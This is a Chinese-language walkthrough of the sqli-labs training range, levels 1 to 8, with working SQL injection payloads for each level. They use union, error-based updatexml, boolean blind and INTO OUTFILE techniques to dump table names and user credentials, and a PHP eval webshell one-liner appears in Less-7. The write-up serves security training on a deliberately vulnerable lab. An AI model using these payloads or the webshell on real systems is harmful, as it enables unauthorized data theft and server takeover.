mysql数据结构
在练习靶场前我们需要了解以下mysql数据库结构,mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。我们前面机关讲解比较详细后面就比较简单了。
一.Less-1
判断是否存在sql注入
1.提示你输入数字值的ID作为参数,我们输入?id=1
**2.**通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。
3.接下来我们判断sql语句是否是拼接,且是字符型还是数字型。
4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
联合注入
**第一步:**首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。
?id=-1'union select 1,2,3--+
**第二步:**爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。
?id=-1'union select 1,2,3--+
**第三步:**获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。
?id=-1' union select 1,database(),version() --+
information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。
得到库名为security
接下来查询库下面的表:
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询到表名为:emails,referers,uagents,users 一共是4个表
第五步:爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。
该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
**第六步:**通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
二.Less-2
和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的:
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
三.Less-3
输入:?id=1(2,3...)时都正常
但是输入?id=1'时页面报错,并且报错信息中出现了括号
可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
构造本题的payload,就是对前两关的一个变形
?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
四.Less-4
输入?id=1\ 然后查看报错信息,回显提示本关是双引号加括号的闭合方式
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
所以构造出来payload,只需要把前面几关的闭合方式换掉
五.Less-5
第五关根据页面结果得知是字符型(而且是单引号)但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。
1.第五关是单引号注入,没有显示位,只有正确页面和错误页面对比
?id=1'
2.用--+进行注释,页面正常显示
?id=1'--+
第二步:采用报错注入(updatexml函数)
1.爆出数据库名和数据库版本号(0x7e是~的转移,用来更好的分清内容)
?id=1' and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+
得到库名和库的版本
2.爆出数据库下的所有表名
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+
3.爆出表下的所有字段
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,32)),1) --+
4.爆出字段下的内容(updatexml函数报错内容长度不能超过32个字符,所以不能查看全部的内容,这里也可以用limit一个一个的来进行查看)
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1) --+
#其他字段内容也可用这个方法一个一个查看
......
六.Less-6
根据报错回显得知是双引号闭合方式
?id=1" --+ 页面正常回显
剩下的步骤和第五关差不多,但是需要注意是双引号闭合
?id=1" and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)--+
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,30)),1) --+
?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1) --+
......
七.Less-7
页面显示use outfile意思是利用文件上传来做
1.最终判断出来是单引号加双括号闭合的方式
2.测一下回显
?id=1')) order by 3--+ 回显正常 You are in.... Use outfile......
判断回显位有三个。
该关卡需要用到文件写入操作,所以需要开启MySQL中的文件写入
进入MySQL下的bin目录,用命令行连接数据库
查看是否开启文件写入
show variables like '%secure%';
需要修改secure_file_priv参数值
secure_file_priv='/'
NULL:限制mysql服务不允许导入/导出;
/tmp/:限制mysql的导入或导出只发生在/tmp/目录下;
没有具体值:不对mysql的导入/导出做限制
打开my.ini文件
查看修改是否成功
进行写入操作,写入一句话木马<?php @eval($_post['password']);?>
用文件写入爆出数据库信息
http://sqli.com/Less-7/?id=1')) union select user(),database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile 'D:\\site\\phpStudy_64\\phpstudy_pro\\WWW\\sqli\\Less-7\\1.txt' --+
http://sqli.com/Less-7/?id=1')) union select version(),@@version_compile_os,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') into outfile 'D:\\site\\phpStudy_64\\phpstudy_pro\\WWW\\sqli\\Less-7\\2.txt' --+
完成
八.Less-8
用and 1=1 和 and 1=2测试,发现id=1的情况都是正常的,排除数字型。直接提交id=1' 发现页面异常,重点来了,页面异常却没有因为闭合的问题返回报错信息,而是页面什么都没有。那果断用布尔盲注,通过ture和false来猜测数据库相关信息。
1.直接提交?id=1' --+ 页面回显正常,这就像正常返回ture(正常页面),异常返回false(页面空白页面)。所以判断闭合方式为单引号闭合
补充:如果无论注入语句是正确还是错误的,都返回正常页面,那么这个就要用时间盲注
2.爆字段个数
?id=1' order by 3-++
根据回显可知字段个数为3
3.猜测库名的长度
id=1' and (length(database()))>7--+
?id=1' and (length(database()))>8--+
根据回显可以知道,数据库名的长度为8,因为当我们执行让它大于8时,页面没有回显
(一开始可以从大于1开始试,然后根据回显报错再缩小查找范围)
4.猜测数据库名
?id=1' and ascii(substr(database(),1,1))>114 --+
发现大于114正常,大于115页面false状态。所以数据库名第一个字符ascii码为115,通过ascii码查询发现是字符's'。
我们要重复此操作八次,才能猜出数据库名,方法和上面一样,就是把substr(database(),2,1)一直递增到8,最后得到数据库名为security(每一个英文字母都有自己对应的ascii码值)
5.猜表名的长度
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+ (结果为4)
判断第一个表的长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5 --+(结果为6)
通过limit 0,1递增标注数字猜其他表名长度。
得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5
6.判断表的字符
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >79 --+
说明表中第一个字符的ASCII值大于79
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
第一个值为:e,看一下解释如何往下进行
第二个字符为m:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+
就这样依次进行得到表名:emails/users
7.爆字段列数
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+
8.获取字段的列名
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+
第一列第一个字符为:i
第二个为d:?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),2,1))=100 --+
依次求第二列:
第一个字符:u
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1),1,1))=117 --+
最终得到:
第一列名:id
第二列名:username
第三列名:password
9.获取表中的数据
获取条数:
?id=1' and (select count(*) from users)=13 --+(为13条)
判断数据的长度:
?id=1' and length((select id from users limit 0,1))=1 --+(长度为1)
获取数据:
select id from users limit 0,1;
获取username中数据
获取password中数据
可见账号为Dumb 密码为Dumb
判断长度:
?id=1' and length((select username from users limit 0,1))=4 --+
判断数据:
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+
可见username中第一个字符为:D
然后就这样依次进行得到username:Dumb,password:Dumb
小结:这样手注的方法太慢了,而且程序十分的复杂(如果遇到盲注的题目建议使用脚本或者bp)